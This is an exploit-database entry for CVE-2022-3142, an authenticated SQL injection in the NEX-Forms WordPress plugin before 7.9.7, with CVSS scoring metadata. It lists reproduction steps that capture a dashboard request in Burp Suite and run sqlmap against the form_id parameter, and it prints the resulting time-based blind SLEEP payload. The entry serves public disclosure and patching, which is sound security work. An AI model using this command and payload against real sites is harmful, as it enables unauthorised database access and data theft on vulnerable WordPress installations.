NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi

2023-03-2500:00:00

Elias Hohl

www.exploit-db.com

136

authenticated sql injection

nex forms plugin

wordpress

vulnerability

cve-2022-3142

sqli

burp suite

sqlmap

mysql

CVSS3

8.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

AI Score

8.8

Confidence

High

EPSS

0.003

Percentile

71.5%

JSON

# Exploit Title: NEX-Forms WordPress plugin < 7.9.7 - Authenticated SQLi
# Exploit Author: Elias Hohl
# Date: 2022-08-01
# Vendor Homepage: https://basixonline.net
# Software Link: https://wordpress.org/plugins/nex-forms-express-wp-form-builder/
# Tested on: Ubuntu 20.04
# CVE : CVE-2022-3142

Authenticated SQL injection vulnerability in the "NEX Forms" Wordpress plugin

https://medium.com/@elias.hohl/authenticated-sql-injection-vulnerability-in-nex-forms-wordpress-plugin-35b8558dd0f5

1. Start a new Wordpress instance using docker-compose.

2. Install the NEX Forms plugin.

3. Open the URL "/wp-admin/admin.php?page=nex-forms-dashboard&form_id=1" in your browser. Save the request to "nex-forms-req.txt" via Burp Suite.

4. Execute the following command: sqlmap -r nex_forms_req.txt -p form_id --technique=T --dbms=mysql --level 5 --risk 3
sqlmap will find a time-based blind payload:


Parameter: form_id (GET)
    Type: time-based blind
    Title: MySQL >=5.0.12 AND time-based blind (query SLEEP)
    Payload: page=nex-forms-dashboard&form_id=1 AND (SELECT 4715 FROM (SELECT(SLEEP(5)))nPUi)